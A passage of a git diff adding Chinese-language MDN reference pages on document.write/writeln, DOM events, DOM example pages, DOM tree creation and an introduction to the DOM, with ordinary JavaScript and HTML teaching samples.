注意:从 Chrome 55 开始,Chrome(可能)不会运行通过 document.write() 注入的<script>,以防止使用 2G 连接的用户找不到 HTTP 缓存。前往此链接查看这种情况发生需要满足的条件。
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}{{Spec2("DOM2 HTML")}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.write")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/document/writeln/index.html b/files/zh-cn/web/api/document/writeln/index.html new file mode 100644 index 0000000000..aa133ef635 --- /dev/null +++ b/files/zh-cn/web/api/document/writeln/index.html @@ -0,0 +1,25 @@ +--- +title: document.writeln +slug: Web/API/Document/writeln +translation_of: Web/API/Document/writeln +--- +

{{ ApiRef() }}

+

概述

+

向文档中写入一串文本,并紧跟着一个换行符。

+

语法

+
document.writeln(line);
+
+

参数

+ +

示例

+
document.writeln("<p>enter password:</p>");
+
+

备注

+

document.writelndocument.write 一样,但是会添加一个换行符。

+
+ Note: document.writeln (like document.write) does not work in XHTML documents (you'll get a "Operation is not supported" (NS_ERROR_DOM_NOT_SUPPORTED_ERR) error on the error console). This is the case if opening a local file with a .xhtml file extension or for any document served with an application/xhtml+xml MIME type. More information is available in the W3C XHTML FAQ.
+

规范

+

writeln

+

{{ languages( { "ja": "ja/DOM/document.writeln", "pl": "pl/DOM/document.writeln" } ) }}

diff --git a/files/zh-cn/web/api/document_object_model/events/index.html b/files/zh-cn/web/api/document_object_model/events/index.html new file mode 100644 index 0000000000..b2dc638d82 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/events/index.html @@ -0,0 +1,80 @@ +--- +title: 事件及DOM +slug: Web/API/Document_Object_Model/Events +tags: + - DOM + - events +translation_of: Web/API/Document_Object_Model/Events +--- +

{{DefaultAPISidebar("DOM")}}

+ +

简介

+ +

这一章节介绍了DOM事件模型(DOM Event Model)。主要描述了事件(Event)接口本身以及DOM节点中的事件注册接口、事件监听接口,以及几个展示了多种事件接口之间相互关联的较长示例。

+ +

这里有一张非常不错的图表清晰地解释了在DOM3级事件草案(DOM Level 3 Events draft)中通过DOM处理事件流的三个阶段。

+ +

也可以通过示例章节的 示例5:事件传递 获取更多事件如何在DOM中流转的相关细节。

+ +

注册事件监听器

+ +

这里有3种方法来为一个DOM元素注册事件回调。

+ +

{{domxref("EventTarget.addEventListener")}}

+ +
// 假设 myButton 是一个按钮
+myButton.addEventListener('click', greet, false);
+function greet(event) {
+    // 打印并查看event对象
+    // 打印arguments,以防忽略了其他参数
+    console.log('greet: ' + arguments);
+    alert('Hello world');
+}
+
+ +

你应该在现代Web技术的页面中使用这个方法。

+ +

备注:IE 6-8 不支持这一方法,但提供了类似的API即 {{domxref("EventTarget.attachEvent")}} 用以替代。考虑到跨浏览器兼容性问题请使用有效的JS代码库。

+ +

更多细节可在 {{domxref("EventTarget.addEventListener")}} 参考页面中找到.

+ +

HTML 属性

+ +
<button onclick="alert('Hello world!')">
+
+ +

属性中的JS代码触发时通过event参数将Event类型对象传递过去的。其返回值以特殊的方式来处理,已经在HTML规范中被描述

+ +

应该尽量避免这种书写方式,这将使HTML变大并减少可读性。考虑到内容/结构及行为不能很好的分开,这将造成bug很难被找到。

+ +

DOM 元素属性

+ +
// 假设 myButton 是一个按钮
+myButton.onclick = function(event){alert('Hello world');};
+
+ +

带有event参数的函数可以这样被定义。其返回值以特殊的方式来处理,已经在HTML规范中被描述。

+ +

这种方式的问题是每个事件及每个元素只能被设置一个回调。

+ +

访问事件接口

+ +

事件回调可以被绑定到包括DOM元素、文档、{{domxref("window")}} 等多种对象上。当一个事件被触发时,一个event对象将被创建并顺序的传递给事件监听者们。

+ +

 {{domxref("Event")}} 接口可以在回调函数内被访问到,通过被传递进来做为第一个参数的事件对象。以下这个简单例子展示了如何将事件对象传递给事件回调函数,同时可以在这个函数中使用。

+ +
function foo(evt) {
+  // evt参数自动分配事件对象
+  alert(evt);
+}
+table_el.onclick = foo;
+
+ +

下级页面导航

+ + diff --git a/files/zh-cn/web/api/document_object_model/examples/index.html b/files/zh-cn/web/api/document_object_model/examples/index.html new file mode 100644 index 0000000000..0b3e4b75e8 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/examples/index.html @@ -0,0 +1,375 @@ +--- +title: Examples +slug: Web/API/Document_Object_Model/Examples +tags: + - DOM + - DOM参考 +translation_of: Web/API/Document_Object_Model/Examples +--- +

本章介绍提供了一些长例子来介绍如何使用 DOM 进行 Web 以及 XML 开发。在可能的情况下,例子只使用普通API ,技巧以及JavaScript模式来操作文档对象。

+ +

示例 1: 高度和宽度

+ +

下面的例子展示了在不同尺寸的图片时使用其 height 和 width 属性的情况:

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>width/height example</title>
+<script type="text/javascript">
+function init()
+{
+  var arrImages = new Array(3);
+
+  arrImages[0] = document.getElementById("image1");
+  arrImages[1] = document.getElementById("image2");
+  arrImages[2] = document.getElementById("image3");
+
+  var objOutput = document.getElementById("output");
+  var strHtml = "<ul>";
+
+  for (var i = 0; i < arrImages.length; i++) {
+    strHtml += "<li>image" + (i+1) +
+            ": height=" + arrImages[i].height +
+            ", width=" + arrImages[i].width +
+            ", style.height=" + arrImages[i].style.height +
+            ", style.width=" + arrImages[i].style.width +
+            "<\/li>";
+  }
+
+  strHtml += "<\/ul>";
+
+  objOutput.innerHTML = strHtml;
+}
+</script>
+</head>
+<body onload="init();">
+
+<p>Image 1: no height, width, or style
+    <img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif">
+</p>
+
+<p>Image 2: height="50", width="500", but no style
+    <img id="image2" src="http://www.mozilla.org/images/mozilla-banner.gif"
+         height="50" width="500">
+</p>
+
+<p>Image 3: no height, width, but style="height: 50px; width: 500px;"
+    <img id="image3" src="http://www.mozilla.org/images/mozilla-banner.gif"
+         style="height: 50px; width: 500px;">
+</p>
+
+<div id="output"> </div>
+</body>
+</html>
+
+ +

示例 2: 图片属性

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Modifying an image border</title>
+
+<script type="text/javascript">
+function setBorderWidth(width) {
+  document.getElementById("img1").style.borderWidth = width + "px";
+}
+</script>
+</head>
+
+<body>
+<p>
+  <img id="img1"
+       src="image1.gif"
+       style="border: 5px solid green;"
+       width="100" height="100" alt="border test">
+</p>
+
+<form name="FormName">
+  <input type="button" value="Make border 20px-wide" onclick="setBorderWidth(20);" />
+  <input type="button" value="Make border 5px-wide"  onclick="setBorderWidth(5);" />
+</form>
+
+</body>
+</html>
+
+ +

示例 3: 操作样式

+ +

在下面这个简单的例子中,使用的element(DOM元素)的style对象即对象的 CSS 样式属性来获取一个HTML段落元素的一些基本样式属性,DOM 可以检索和设置CSS 样式。在本例中,你可以直接控制单个样式属性。在下一个的例子里(见例4),你可以使用stylesheets对象(样式表)及其cssRules对象改变整个文档的样式。

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Changing color and font-size example</title>
+
+<script type="text/javascript">
+function changeText() {
+  var p = document.getElementById("pid");
+
+  p.style.color = "blue"
+  p.style.fontSize = "18pt"
+}
+</script>
+</head>
+<body>
+
+<p id="pid" onclick="window.location.href = 'http://www.cnn.com/';">linker</p>
+
+<form>
+  <p><input value="rec" type="button" onclick="changeText();"></p>
+</form>
+
+</body>
+</html>
+
+ +

示例 4: 使用样式表

+ +

styleSheets是document对象的一个属性,返回的是载入文档的样式列表。你可以通过styleSheets、style和CSSRule对象来获取样式表和每条样式规则,下面的例子把所有的样式规则中的选择器文本(字符串)打印到控制台中。

+ +
ss = document.styleSheets;
+
+for(i=0; i<ss.length; i++) {
+  for(j=0; j<ss[i].cssRules.length; j++) {
+    dump( ss[i].cssRules[j].selectorText + "\n" );
+  }
+}
+
+ +

下面的是一个只定义了三条样式规则的单个样式表的文档:

+ +
BODY { background-color: darkblue; }
+P { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+
+ +

该脚本的输出是这样的:

+ +
BODY
+P
+#LUMPY
+
+ +

示例 5: 冒泡事件

+ +

本例以一种简单的方法阐述了事件是如何触发以及在 DOM 中是如何处理的。当这个 HTML 文档 BODY 载入的时候,在 TABLE 的首行注册了一个事件监听器。事件监听器通过执行函数 stopEvent 处理事件,从而改变在该表的底部单元的值。

+ +

然而,stopEvent 同时也会调用一个事件对象的方法,event.stopPropagation,其阻止了当前事件在 DOM 的进一步冒泡行为。请注意,表本身有一个 {{domxref("element.onclick","onclick")}} 事件处理程序,当表被点击时其会显示一条消息。但 stopEvent 方法已经阻止了冒泡,所以在表中的数据更新后,该事件事件阶段有效地结束(effectively ended),并且显示一个警告框——证实了有效结束。

+ +
<!DOCTYPE html>
+<html>
+<head>
+<title>Event Propagation</title>
+
+<style type="text/css">
+ #t-daddy { border: 1px solid red }
+ #c1 { background-color: pink; }
+</style>
+
+<script type="text/javascript">
+
+function stopEvent(ev) {
+  c2 = document.getElementById("c2");
+  c2.innerHTML = "hello";
+
+  // this ought to keep t-daddy from getting the click.
+  ev.stopPropagation();
+  alert("event propagation halted.");
+}
+
+function load() {
+  elem = document.getElementById("tbl1");
+  elem.addEventListener("click", stopEvent, false);
+}
+</script>
+</head>
+
+<body onload="load();">
+
+<table id="t-daddy" onclick="alert('hi');">
+ <tr id="tbl1">
+  <td id="c1">one</td>
+ </tr>
+ <tr>
+  <td id="c2">two</td>
+ </tr>
+</table>
+
+</body>
+</html>
+
+ +

示例 6: getComputedStyle

+ +

这个例子演示了如何用{{domxref("window.getComputedStyle")}}方法来获取一个元素的样式而不是使用 style 属性或 JavaScript 的(例如,elt.style.backgroundColor="RGB(173,216,230)")。列举在 DOM CSS Properties List 后面的类型的样式可以用更直接{{domxref("element.style", "elt.style")}} 属性获取。

+ +

getComputedStyle() 返回了一个 ComputedCSSStyleDeclaration 对象,其独立的样式属性可以用该对象的 getPropertyValue() 方法引用,如同下面的例子一样:

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+
+<title>getComputedStyle example</title>
+
+<script>
+function cStyles() {
+  var RefDiv    = document.getElementById("d1");
+  var txtHeight = document.getElementById("t1");
+  var h_style   = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+
+  txtHeight.value = h_style;
+
+  var txtWidth = document.getElementById("t2");
+  var w_style  = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+
+  txtWidth.value = w_style;
+
+  var txtBackgroundColor = document.getElementById("t3");
+  var b_style = document.defaultView.getComputedStyle(RefDiv,null).getPropertyValue("background-color");
+
+  txtBackgroundColor.value = b_style;
+}
+</script>
+
+<style>
+#d1 {
+  margin-left: 10px;
+  background-color: rgb(173, 216, 230);
+  height: 20px;
+  max-width: 20px; }
+</style>
+
+</head>
+
+<body>
+
+<div id="d1">&nbsp;</div>
+
+<form action="">
+  <p>
+    <button type="button" onclick="cStyles();">getComputedStyle</button>
+    height<input id="t1" type="text" value="1">
+    max-width<input id="t2" type="text" value="2">
+    bg-color<input id="t3" type="text" value="3"></p>
+</form>
+
+</body>
+</html>
+
+ +

示例 7: 显示事件对象的属性

+ +

这个例子使用 DOM 方法来显示{{domxref("window.onload")}} {{domxref("event")}}对象的属性及其在 table 中的值。这个方法也展示一个有用的技术即使用了{{jsxref("Statements/for...in", "for...in")}} 循环来遍历一个对象的属性,以得到他们的值。

+ +

不同浏览器之间事件对象的属性有很大不同,W3C DOM2事件规范规定了事件的标准属性,然而,许多浏览器都大大扩展了这些。

+ +

将下面的代码放到一个空白的文本文件,并将其加载到各种浏览器,你一定会对各种浏览器之间的不一致(事件属性的名称及其数量)感到惊讶。你可能还喜欢在这个页面加入一些元素,并调用不同的事件处理函数。

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="utf8"/>
+<title>Show Event properties</title>
+
+<style>
+table {border-collapse: collapse;}
+thead {font-weight: bold;}
+td {padding: 2px 10px 2px 10px;}
+
+.odd {background-color: #efdfef;}
+.even {background-color: #ffffff;}
+</style>
+
+<script>
+
+function showEventProperties(e) {
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  var e = e || window.event;
+  document.getElementById('eventType').innerHTML = e.type;
+
+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Property', 'Value'];
+  var len = lableList.length;
+
+  for (var i=0; i<len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+window.onload = function(event){
+  showEventProperties(event);
+}
+</script>
+</head>
+
+<body>
+<h1>Properties of the DOM <span id="eventType"></span> Event Object</h1>
+</body>
+
+</html>
+
+ +

示例 8: 使用 DOM Table 接口(Interface)

+ +

DOM HTMLTableElement 接口提供了一些方便的方法用于创建和操作表。两种常用的方法是{{domxref("HTMLTableElement.insertRow")}}和{{domxref("tableRow.insertCell")}}。

+ +

增加一行和一些单元到现有的表:

+ +
<table id="table0">
+ <tr>
+  <td>Row 0 Cell 0</td>
+  <td>Row 0 Cell 1</td>
+ </tr>
+</table>
+
+<script>
+
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell,
+    text;
+
+for (var i=0; i<2; i++) {
+  cell = row.insertCell(-1);
+  text = 'Row ' + row.rowIndex + ' Cell ' + i;
+  cell.appendChild(document.createTextNode(text));
+}
+</script>
+
+ +

注意

+ + + + + + diff --git a/files/zh-cn/web/api/document_object_model/how_to_create_a_dom_tree/index.html b/files/zh-cn/web/api/document_object_model/how_to_create_a_dom_tree/index.html new file mode 100644 index 0000000000..91576a8a62 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/how_to_create_a_dom_tree/index.html @@ -0,0 +1,145 @@ +--- +title: 如何创建一个DOM树 +slug: Web/API/Document_Object_Model/How_to_create_a_DOM_tree +translation_of: Web/API/Document_object_model/How_to_create_a_DOM_tree +--- +

{{draft}}

+ +

这个页面讲的是如何利用 JavaScript 中的 DOM Core API 来创建和修改 DOM 对象。它适用于特权(扩展)和非特权(网页)代码中的所有基于Gecko的应用程序(如Firefox)。

+ +

Dynamically creating a DOM tree

+ +

Consider the following XML document:

+ +
<?xml version="1.0"?>
+<people>
+  <person first-name="eric" middle-initial="H" last-name="jung">
+    <address street="321 south st" city="denver" state="co" country="usa"/>
+    <address street="123 main st" city="arlington" state="ma" country="usa"/>
+  </person>
+
+  <person first-name="jed" last-name="brown">
+    <address street="321 north st" city="atlanta" state="ga" country="usa"/>
+    <address street="123 west st" city="seattle" state="wa" country="usa"/>
+    <address street="321 south avenue" city="denver" state="co" country="usa"/>
+  </person>
+</people>
+
+ +

The W3C DOM API, supported by Mozilla, can be used to create an in-memory representation of this document like so:

+ +
var doc = document.implementation.createDocument("", "", null);
+var peopleElem = doc.createElement("people");
+
+var personElem1 = doc.createElement("person");
+personElem1.setAttribute("first-name", "eric");
+personElem1.setAttribute("middle-initial", "h");
+personElem1.setAttribute("last-name", "jung");
+
+var addressElem1 = doc.createElement("address");
+addressElem1.setAttribute("street", "321 south st");
+addressElem1.setAttribute("city", "denver");
+addressElem1.setAttribute("state", "co");
+addressElem1.setAttribute("country", "usa");
+personElem1.appendChild(addressElem1);
+
+var addressElem2 = doc.createElement("address");
+addressElem2.setAttribute("street", "123 main st");
+addressElem2.setAttribute("city", "arlington");
+addressElem2.setAttribute("state", "ma");
+addressElem2.setAttribute("country", "usa");
+personElem1.appendChild(addressElem2);
+
+var personElem2 = doc.createElement("person");
+personElem2.setAttribute("first-name", "jed");
+personElem2.setAttribute("last-name", "brown");
+
+var addressElem3 = doc.createElement("address");
+addressElem3.setAttribute("street", "321 north st");
+addressElem3.setAttribute("city", "atlanta");
+addressElem3.setAttribute("state", "ga");
+addressElem3.setAttribute("country", "usa");
+personElem2.appendChild(addressElem3);
+
+var addressElem4 = doc.createElement("address");
+addressElem4.setAttribute("street", "123 west st");
+addressElem4.setAttribute("city", "seattle");
+addressElem4.setAttribute("state", "wa");
+addressElem4.setAttribute("country", "usa");
+personElem2.appendChild(addressElem4);
+
+var addressElem5 = doc.createElement("address");
+addressElem5.setAttribute("street", "321 south avenue");
+addressElem5.setAttribute("city", "denver");
+addressElem5.setAttribute("state", "co");
+addressElem5.setAttribute("country", "usa");
+personElem2.appendChild(addressElem5);
+
+peopleElem.appendChild(personElem1);
+peopleElem.appendChild(personElem2);
+doc.appendChild(peopleElem);
+
+ +

See also the DOM chapter of the XUL Tutorial.

+ +

You can automate the creation of a DOM tree using a JXON reverse algorithm in association with the following JSON representation:

+ +
{
+  "people": {
+    "person": [{
+      "address": [{
+        "@street": "321 south st",
+        "@city": "denver",
+        "@state": "co",
+        "@country": "usa"
+      }, {
+        "@street": "123 main st",
+        "@city": "arlington",
+        "@state": "ma",
+        "@country": "usa"
+      }],
+      "@first-name": "eric",
+      "@middle-initial": "H",
+      "@last-name": "jung"
+    }, {
+      "address": [{
+        "@street": "321 north st",
+        "@city": "atlanta",
+        "@state": "ga",
+        "@country": "usa"
+      }, {
+        "@street": "123 west st",
+        "@city": "seattle",
+        "@state": "wa",
+        "@country": "usa"
+      }, {
+        "@street": "321 south avenue",
+        "@city": "denver",
+        "@state": "co",
+        "@country": "usa"
+      }],
+      "@first-name": "jed",
+      "@last-name": "brown"
+    }]
+  }
+}
+
+ +

So what?

+ +

DOM trees can be queried using XPath expressions, converted to strings or written to a local or remote files using XMLSerializer (without having to first convert to a string), POSTed to a web server (via XMLHttpRequest), transformed using XSLT, XLink, converted to a JavaScript object through a JXON algorithm, etc.

+ +

You can use DOM trees to model data which isn't well-suited for RDF (or perhaps you just don't like RDF). Another application is that, since XUL is XML, the UI of your application can be dynamically manipulated, downloaded, uploaded, saved, loaded, converted, or transformed quite easily.

+ +

See also

+ + + +

{{ languages( { "fr": "fr/Comment_cr\u00e9er_un_arbre_DOM", "ja": "ja/How_to_create_a_DOM_tree", "zh-cn": "zh-cn/How_to_create_a_DOM_tree" } ) }}

diff --git a/files/zh-cn/web/api/document_object_model/index.html b/files/zh-cn/web/api/document_object_model/index.html new file mode 100644 index 0000000000..656ca763f8 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/index.html @@ -0,0 +1,411 @@ +--- +title: 文档对象模型 (DOM) +slug: Web/API/Document_Object_Model +tags: + - API + - DOM + - DOM 参考文档 + - 中级 +translation_of: Web/API/Document_Object_Model +--- +

{{DefaultAPISidebar("DOM")}}

+ +

文档对象模型 (DOM) 将 web 页面与到脚本或编程语言连接起来。通常是指  JavaScript,但将 HTML、SVG 或 XML 文档建模为对象并不是 JavaScript 语言的一部分。DOM模型用一个逻辑树来表示一个文档,树的每个分支的终点都是一个节点(node),每个节点都包含着对象(objects)。DOM的方法(methods)让你可以用特定方式操作这个树,用这些方法你可以改变文档的结构、样式或者内容。节点可以关联上事件处理器,一旦某一事件被触发了,那些事件处理器就会被执行。

+ +

这里还有一篇关于DOM的 介绍 。

+ +

DOM 接口

+ +
+ +
+ +

过时的 DOM 接口

+ +

DOM模型已经被高度简化了。为此,以下出现在DOM level 3或更早的规范里的接口已经被移除了。  现在不是非常确定是否有一些会被重新引进,但是当前应该把它们看作废弃的,应当避免使用:

+ +
+ +
+ +

HTML 接口

+ +

{{domxref("HTMLDocument")}} 接口描述了包含 HTML 的文档。注意:HTML 规范也继承了{{domxref("Document")}} 接口。

+ +

一个 HTMLDocument 对象还可以访问浏览器的各种功能:例如使用 {{domxref("Window")}} 接口来绘制的标签或窗口,与之关联的样式 {{domxref("window.style", "Style")}}(通常是CSS),浏览器相对于上下文的历史记录 {{domxref("window.history", "History")}},以及文档内的选区 {{domxref("Selection")}} 等。

+ +

HTML 元素接口

+ +
+ +
+ +

其他接口

+ +
+ +
+ +

过时的 HTML 接口

+ +
+ +
+ +

SVG 接口

+ +

SVG 元素接口

+ +
+ +
+ +

SVG 数据类型接口

+ +

Here are the DOM API for data types used in the definitions of SVG properties and attributes.

+ +
+

注意: Starting in {{Gecko("5.0")}},the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed like arrays; in addition, they have a length property indicating the number of items in the lists: {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}}, and {{domxref("SVGPointList")}}.

+
+ +

Static type

+ +
+ +
+ +

Animated type

+ +
+ +
+ +

SVG 路径段接口

+ +
+ +
+ +

SMIL 相关接口

+ +
+ +
+ +

其他的 SVG 接口

+ +
+ +
+ +

相关参考

+ + diff --git a/files/zh-cn/web/api/document_object_model/introduction/index.html b/files/zh-cn/web/api/document_object_model/introduction/index.html new file mode 100644 index 0000000000..3fba378b63 --- /dev/null +++ b/files/zh-cn/web/api/document_object_model/introduction/index.html @@ -0,0 +1,239 @@ +--- +title: DOM概述 +slug: Web/API/Document_Object_Model/Introduction +tags: + - DOM + - 参考手册 + - 手册 + - 指南 +translation_of: Web/API/Document_Object_Model/Introduction +--- +
{{APIRef}}
+ +
 
+ +
本节提供了一个简单的概念性的DOM介绍:DOM是什么, 它是如何组织 HTMLXML 文档,你要如何访问它,这个API提供了哪些参考信息和实例。 
+ +
 
+ +

什么是 DOM?

+ +

文档对象模型 (DOM) 是HTML和XML文档的编程接口。它提供了对文档的结构化的表述,并定义了一种方式可以使从程序中对该结构进行访问,从而改变文档的结构,样式和内容。DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将web页面和脚本或程序语言连接起来。

+ +

一个web页面是一个文档。这个文档可以在浏览器窗口或作为HTML源码显示出来。但上述两个情况中都是同一份文档。文档对象模型(DOM)提供了对同一份文档的另一种表现,存储和操作的方式。 DOM是web页面的完全的面向对象表述,它能够使用如 JavaScript等脚本语言进行修改。

+ +

 W3C DOM 和WHATWG DOM标准在绝大多数现代浏览器中都有对DOM的基本实现。许多浏览器提供了对W3C标准的扩展,所以在使用时必须注意,文档可能会在多种浏览器上使用不同的DOM来访问。

+ +

例如,W3C DOM 中指定下面代码中的getElementsByTagName方法必须要返回所有<P> 元素的列表:

+ +
paragraphs = document.getElementsByTagName("P");
+// paragraphs[0] is the first <p> element
+// paragraphs[1] is the second <p> element, etc.
+alert(paragraphs[0].nodeName);
+
+ +

所有操作和创建web页面的属性,方法和事件都会被组织成对象的形式(例如, document 对象表示文档本身, table 对象实现了特定的 HTMLTableElement DOM 接口来访问HTML 表格等)。本文会介绍基于 Gecko浏览器的 DOM 面向对象引用。

+ +

DOM 和 JavaScript

+ +

上面简短的示例和这个参考文档中几乎所有的示例一样,都使用了JavaScript。也就是说,它虽然是用JavaScript编写的, 却可以通过 DOM 来访问文档和其中的元素。DOM 并不是一个编程语言,但如果没有DOM, JavaScript 语言也不会有任何网页,XML页面以及涉及到的元素的概念或模型。在文档中的每个元素— 包括整个文档,文档头部, 文档中的表格,表头,表格中的文本 — 都是文档所属于的文档对象模型(DOM)的一部分,因此它们可以使用DOM和一个脚本语言如 JavaScript,来访问和处理。

+ +

开始的时候,JavaScript和DOM是交织在一起的,但它们最终演变成了两个独立的实体。JavaScript可以访问和操作存储在DOM中的内容,因此我们可以写成这个近似的等式:

+ +

API (web 或 XML 页面) = DOM + JS (脚本语言)

+ +

DOM 被设计成与特定编程语言相独立,使文档的结构化表述可以通过单一,一致的API获得。尽管我们在本参考文档中会专注于使用JavaScript, 但DOM 也可以使用其他的语言来实现, 以Python为例,代码如下:

+ +
# Python DOM example
+import xml.dom.minidom as m
+doc = m.parse("C:\\Projects\\Py\\chap1.xml");
+doc.nodeName # DOM property of document object;
+p_list = doc.getElementsByTagName("para");
+
+ +

要获取更多在网页上使用JavaScript的信息,可以参考 JavaScript technologies overview.

+ +

如何访问 DOM?

+ +

在使用DOM时,您不需要做任何其他特殊的操作。不同的浏览器都有对DOM不同的实现, 这些实现对当前的DOM标准而言,都会呈现出不同程度的一致性,每个web浏览器都会使用一些文档对象模型,从而使页面可以被脚本语言访问。

+ +

当您在创建一个脚本时-无论是使用内嵌 <script>元素或者使用在web页面脚本加载的方法— 您都可以使用 document或 window 元素的API来操作文档本身或获取文档的子类(web页面中的各种元素)。

+ +

您的DOM编程代码可能会像下面例子一样非常简单,如使用 window对象的alert()函数显示一个警告信息,或者使用比较复杂的方法来创建一个新的内容,如下面内容较长的实例所示。

+ +
<body onload="window.alert('welcome to my home page!');">
+
+ +

除了定义 JavaScript的 <script> 元素外, 当文档被装载(以及当整个DOM可以被有效使用时),JavaScript可以设定一个函数来运行。下面的函数会创建一个新的 H1元素,为元素添加文本,并将H1添加在文档树中。 

+ +
<html>
+  <head>
+    <script>
+    // run this function when the document is loaded
+       window.onload = function() {
+    // create a couple of elements
+    // in an otherwise empty HTML page
+       heading = document.createElement("h1");
+       heading_text = document.createTextNode("Big Head!");
+       heading.appendChild(heading_text);
+       document.body.appendChild(heading);
+      }
+    </script>
+  </head>
+  <body>
+  </body>
+</html>
+
+ +

重要的数据类型

+ +

本参考文档会试图以尽可能简单的方式描述各种对象和类型。但在API中传入的不同的数据类型需要我们去注意。为简单起见,在API参考文档中的语法实例通常会使用element(s) 指代节点,使用nodeList(s)或 element(s)来指代节点数组,使用 attribute(s)来指代属性节点。

+ +

下面的表格简单则描述了这些数据类型。

+ + + + + + + + + + + + + + + + + + + + + + + + +
document当一个成员返回 document 对象 (例如,元素的 ownerDocument 属性返回它所属于 document ) ,这个对象就是root document 对象本身。 DOM document Reference 一章对 document 对象进行了描述。
elementelement 是指由 DOM API 中成员返回的类型为 element 的一个元素或节点。 例如, document.createElement() 方法会返回一个 node 的对象引用,也就是说这个方法返回了在DOM中创建的 element。 element 对象实现了 DOM Element 接口以及更基本的 Node 接口,参考文档将两者都包含在内。
nodeList nodeList 是一个元素的数组,如从 document.getElementsByTagName() 方法返回的就是这种类型。 nodeList 中的条目由通过下标有两种方式进行访问: +
    +
  • list.item(1)
  • +
  • list[1]
  • +
+ 两种方式是等价的,第一种方式中 item() 是 nodeList 对象中的单独方法。 后面的方式则使用了经典的数组语法来获取列表中的第二个条目。
attribute当 attribute 通过成员函数 (例如,通过 createAttribute()方法) 返回时,它是一个为属性暴露出专门接口的对象引用。DOM中的属性也是节点,就像元素一样,只不过您可能会很少使用它。
namedNodeMap namedNodeMap 和数组类似,但是条目是由name或index访问的,虽然后一种方式仅仅是为了枚举方便,因为在 list 中本来就没有特定的顺序。 出于这个目的,  namedNodeMap 有一个 item() 方法,你也可以从  namedNodeMap 添加或移除条目。
+ +

DOM 接口

+ +

本指南对你可以用来操作DOM层级的对象以及事物进行了介绍。例如, HTML form 元素从 HTMLFormElement 接口中获取它的 name 属性,从 HTMLElement 接口中获取 className 属性。在上面情况中,您要获取的属性都只在form对象中。

+ +

但是由DOM实现的对象和接口间的关系是容易被混淆的,因此本节会尝试去对DOM 标准中的一些常用的接口进行说明以及它们是怎样生效的。

+ +

接口及对象

+ +

许多对象都实现了多个接口。例如,table对象实现了 HTML Table Element Interface, 其中包括 createCaption 和 insertRow 方法。但由于table对象也是一个HTML元素, table 也实现了 Element 接口(在  DOM element Reference 一章有对应描述)。最后,由于HTML元素对DOM来说也是组成web页面或XML页面节点树中的一个节点, table元素也实现更基本的  Node 接口, Element 对象也继承这个接口。

+ +

正如下面的例子,当你得到一个  table 对象的引用时,你经常会轮流使用对象实现的三个不同接口的方法,但并不知其所以然。 

+ +
var table = document.getElementById("table");
+var tableAttrs = table.attributes; // Node/Element interface
+for (var i = 0; i < tableAttrs.length; i++) {
+  // HTMLTableElement interface: border attribute
+  if(tableAttrs[i].nodeName.toLowerCase() == "border")
+    table.border = "1";
+}
+// HTMLTableElement interface: summary attribute
+table.summary = "note: increased border";
+
+ +

DOM中核心接口

+ +

本节列出了在DOM中最常用的一些接口。此处并不会描述这些API在做什么,但是会让你了解当你使用DOM时常用的各种方法和属性。 这些常用的API在本文档最后的  DOM Examples 章节中(包含更长的实例)中有使用。

+ +

您在DOM编程时,通常使用的最多的就是 Document 和 window 对象。简单的说, window 对象表示浏览器中的内容,而 document 对象是文档本身的根节点。Element 继承了通用的 Node 接口,  将这两个接口结合后就提供了许多方法和属性可以供单个元素使用。在处理这些元素所对应的不同类型的数据时,这些元素可能会有专用的接口,如上节中的  table  对象的例子。

+ +

下面是在web和XML页面脚本中使用DOM时,一些常用的API简要列表。

+ + + +

测试DOM API

+ +

本文档提供了每一个接口的样本示例,您可以在自身进行web开发时使用。在有些情况下, 样例是一个完整的HTML页面,通过使用 <script> 元素标签进行DOM访问, 包含必须的接口 (如 buttons)来触发表单中的脚本, 以及DOM所操作的HTML元素。 此时,您可以将实例进行剪切和复制到一个新的HTML文档中,保存完成后,在浏览器中运行该实例。

+ +

然而在一些情况下,例子会更简洁。想要运行那些仅仅用来展示HTML元素接口之间基本关系的示例,你可能会想创建一个测试页面,在里面你可以通过脚本使用这些接口。下面这个非常简单的网页在header中提供了一个<script>元素,这里面你可以使用测试接口的函数,一些你可以获取、设置或者操纵的HTML元素及其属性,以及必须的web user接口来从浏览器调用这些接口。

+ +

你可以使用这个测试页面代码,也可以自己创建一个类似的页面来测试感兴趣的DOM接口,观察他们是如何在浏览器平台上面工作的。你可以根据需要更新test()函数里的内容,创建更多的button或者任何其他元素。

+ +
<html>
+  <head>
+    <title>DOM Tests</title>
+    <script type="application/javascript">
+    function setBodyAttr(attr,value){
